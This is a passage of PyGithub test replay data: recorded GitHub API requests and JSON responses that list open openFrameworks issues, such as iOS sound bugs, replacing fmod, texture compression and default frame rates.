should be 276 ( or something )\r\nSetting it to 256 says the buffer size should be 176 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/178","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/178","assignee":null,"title":"iPhone sound bug with 1st gen ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-11T10:18:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":169176,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:18:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/175","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/175","assignee":null,"title":"bring examples up to date - make sexy","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:44:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:14:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/174","assignee":null,"title":"vertical sync on for mac by default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-06T19:43:21Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166212,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/173","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofAlphaBlending default on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-04-06T19:42:34Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166211,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":172,"html_url":"https://github.com/openframeworks/openFrameworks/issues/172","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"rgb + alpha -> blit to texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-06T19:40:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166209,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/171","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/171","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"sexy shader example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:38:51Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166208,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-03T19:40:33Z","body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","closed_issues":0,"open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/167","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"replace fmod","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-04-06T12:13:31Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165898,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:56:41Z","body":"i have this working for 3d with selection buffer although it's meant to be slow i haven't had any problems","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/160","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":160,"html_url":"https://github.com/openframeworks/openFrameworks/issues/160","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofIsUnderMouse?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T21:39:19Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":165537,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:54:57Z","body":"Theo: I have this code uses the selection buffer. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/153","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":153,"html_url":"https://github.com/openframeworks/openFrameworks/issues/153","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"ofIsOnScreen - ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T18:49:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165409,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=14 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testSliceIndexingUntilFourthPage.txt0000644000175100001660000062057414756101563030112 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] 